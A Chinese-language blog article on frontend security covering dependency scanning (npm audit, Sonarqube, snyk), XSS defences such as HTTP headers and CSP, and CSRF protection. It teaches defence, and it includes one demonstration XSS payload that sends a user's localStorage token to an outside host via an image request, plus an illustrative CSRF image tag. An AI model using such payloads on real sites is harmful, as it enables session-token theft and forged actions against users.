隨着開發框架和平臺的不斷成熟,需要開發者考慮的安全問題越來越少,但並不是開發者就不需要關心項目的安全問題。Linux、Tomcat等大型項目時不時爆出安全漏洞,把網絡安全話題重新拉回大衆視野。現代前端開發依賴node作爲打包、構建和依賴管理平臺,最近一次安全問題就是npm倉庫中的event-stream包多了一個flatmap-stream依賴,而這個依賴項正在竊取開發者的數字貨幣。

就前端項目來說,需要考慮的安全問題相對較少,受到攻擊後的損失也不及服務器被攻擊後那麼大,前端主要需要考慮的安全問題有:

npm生態下依賴的安全性。npm 非常年輕,和Java相比包的質量參差不齊,也缺乏良好的審查機制,不過好在npm提供了一些安全工具幫我們審查依賴的安全問題。

XSS跨站腳本攻擊。XSS攻擊是非常常見的攻擊方式,前端開發需要日常注意,我們後面會主要討論這類攻擊。

CSRF跨站請求僞造攻擊。CSRF不是非常流行,目前來說容易將此類攻擊的破壞性降低到可以接受的程度。

代碼自查

開發者和攻擊者最大的不同之處在於,開發者完全擁有代碼,因此佔據了主動權。一般來說攻擊者的掃描都只能對線上產品進行,如果開發者在上線之前對代碼進行審查和掃描,可以事半功倍。

另外內部的滲透測試也類似於模擬攻擊者來進行掃描業界已知漏洞,而代碼層面的審查則需要開發團隊完成。

npm audit

npm audit tool/npm 安全掃描工具

爲了提高npm依賴的安全,npm 6.1 後添加了npm audit工具,這個工具可以搜索當前項目中使用的依賴是否存在安全問題,並提供了npm audit fix工具修復。

它的工作原理是維護了一個已知不良依賴的名單,如果代碼中使用了直接從GitHub而不是npm倉庫中獲取依賴,或不知名的依賴。npm audit也是無法發現威脅。總的來說在加入第三方依賴時,需要謹慎考慮,不濫用依賴在前端開發也是非常重要的。

Sonarqube

sonarqube dashboard/sonarqube 管理面板

Sonarqube應該是今年業界最爲流行的代碼審查工具了,Sonarqube使用了和其他開源軟件一樣,軟件開源服務收費的策略。我們可以自己搭建公司內部的代碼審查平臺,也可以直接使用sonarqube在線的掃描服務。公開服務的Sonarqube,可以直接和GitHub和Bitbucket集成,但是需要提供相應的授權, 因此使用Sonarqube需要提供倉庫權限

Sonarqube 中發現威脅只是它的功能之一。它提供了發現 Code Smells、Bugs、Vulnerabilities三大特性,並且支持Java、JavaScript和C#等大量語言。如果我們僅僅需要檢查前端項目中代碼的安全缺陷,我們可以使用另外更加輕量級能集成到構建腳本中的工具。

snyk

如果不想暴露倉庫權限,並且本地掃描,可以使用snyk這類輕量級的掃描工具。其實snyk也提供類似Sonarqube一樣的平臺,但是也提供了輕量級的本地掃描。

snyk 提供了npm安裝,可以參考以下命令,簡單的集成到CI中:

  • npm install -g snyk
  • snyk auth
  • snyk test

應對XSS攻擊

XSS 攻擊通過向頁面中注入可以執行的JavaScript代碼,因爲可以通過JavaScript在已經登陸的用戶頁面上執行,可以使用已經信任用戶的身份來進行攻擊甚至盜走用戶身份信息。 XSS分爲DOM型、反射型、存儲型三種攻擊類型,反射型和存儲型服務器端可以通過過濾輸出處理,對前端項目來說主要針對DOM型攻擊採取安全措施。

XSS Demostration/ XSS 攻擊演示

上面這個動圖是我假設的一個漏洞,前端代碼直接接收外部輸入,並添加到頁面上。演示攻擊者使用了一段代碼:

<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通過圖片觸發onerror事件的方式執行一段JavaScript代碼片段,再讀取LocalStorage中的token,最後通過圖片Ping的方式發送到外部網站。這只是一段作爲演示用的攻擊方式,這種注入XSS的代碼叫做 XSS payload,很多強大的payload在網絡上傳播。下面我們來討論下在開發過程中如何應對這些攻擊。

使用HTTP頭啓用瀏覽器安全行爲

瀏覽器有很多內置的安全行爲,可以防範XSS攻擊,第一步需要做的是在上線時合理配置服務器環境,這是一種性價比很高的方式。使用Nginx或者Apache輸入相應頭信息不是一件特別難的事,這裏有一個checklist,分別說明了一些必要的HTTP頭和用途。

checklist

下面演示一個HTTP only的例子,即使XSS攻擊成功,也無法盜走token:

protect cookie by HTTP Only/HTTP Only 保護 cookie

避免框架中的危險特性

現代前端開發中使用了一般基於常用的框架開發,框架提供了很多安全特性在輸入內容到DOM避免了XSS注入,但是如果不當使用,也會有一些風險。框架爲了提供更大的靈活性往往允許原生的HTML內容被添加到DOM中並提供了對應API,但基本上也會在文檔中說明。

Vue的v-html指令。 Vue的明確提示使用該指令的前提是信任輸入內容,但是大量項目使用了此指令,甚至從URL上獲取的部分內容。下面圖片中的使用方式在項目中很常見,但是如果使用xss payload很容易像上面演示的那樣被xss注入攻擊。

v-html brings security issue/ v-html屬性會引發安全問題

dangerouslySetInnerHTML。React中提供了類似的機制,不過在API的名稱上非常醒目,原理上和Vue類似,不再贅述。

另外一種不當使用框架的例子是,讀取原生 DOM 並添加內容的行爲,這種行爲不僅對項目架構造成破壞,帶來維護性的困難,而且會存在XSS注入的風險。

啓用CSP瀏覽器安全策略

在銀行和金融類項目,對安全要求非常重視。大家都知道的一個例子是銀行項目都實現了自己的鍵盤輸入控件,目的是防止操作系統的鍵盤Hook,這個超出前端開發需要考慮的內容。另外一個方法是啓用CSP瀏覽器內容安全策略,對加載到頁面上的內容進一步限制,並且CSP還提供了異常報告的機制。

Mozilla的CSP定義

“內容安全策略 (CSP) 是一個額外的安全層,用於檢測並削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數據注入攻擊等”

通俗的來說,CSP就是通過HTTP頭部 Content-Security-Policy或者HTML meta標籤定義一系列白名單規則,限制頁面上腳本的執行和資源的加載來源,例如不允許執行內聯代碼( <script> 塊內容,內聯事件,內聯樣式),禁止執行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,達到進一步限制頁面腳本的目的。例如:

Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP 策略包括多個指令和指令值組成:

csp指令

CSP 策略

CSP 策略中有一個特別的指令report-uri可以配置頁面上違規後的報告,一旦瀏覽器檢測到違規的資源加載,瀏覽器會發送一個JSON數據包到指定服務器。

應對CSRF攻擊

CSRF攻擊者在用戶已經登陸目標網站後,誘導用戶訪問一個攻擊頁面,利用用戶已經獲取的權限,發起僞造的請求。

舉個例子:

假設GitHub提供了一個給倉庫加星的接口, htttps://github.com/{repositoryName}/star 而且這個接口使用了GET方法,當然GitHub不會這樣做。

這樣攻擊者就可以在GitHub上Readme文件中中增加一張圖片:

<img src="htttps://github.com/{repositoryName}/star" />

當用戶瀏覽到這個倉庫的時候就會給該倉庫增加一個星。

因此業界通常的做法是 避免使用GET操作對數據資源的修改,使用POST時增加一個一次性的token

如果Spring boot中使用Spring security,會有默認的 CsrfFilter,只需要註冊CsrfFilter即可啓用CSRF機制。客戶端對相同的Restful資源發出POST請求之前需要首先從GET方法得到一個一次性的token,否則會得到一個403錯誤。

其他

實際項目中我們還有其他的一些安全措施:

例如加密代碼中的密碼等敏感信息,加密本身對前端來說意義不大,但是可以增加攻擊者反向分析代碼的難度,屏蔽代碼中可以直接搜索到的關鍵字,例如Login、Password等字符串。

另外也要防止程序報錯後意外暴露一些信息給用戶,面對各種各樣的異常,用戶不可能主動也沒有能力報告錯誤,我們可以通過使用 sentry.io 之類的一些工具收集控制檯報錯信息 。

最後這個世界上沒有絕對的安全,即使CSP這類極其嚴格的策略都有可能被繞過,前端開發中安全也需要考慮成本,應該選用性價比高的安全策略。安全也不是獨立的,應該和服務器、甚至操作系統層面聯合考慮,例如後端提供的資源應該是通過ID不可枚舉的,上傳文件的時候也應該嗅探內容和MIME信息決定文件類型。

參考鏈接:

相關文章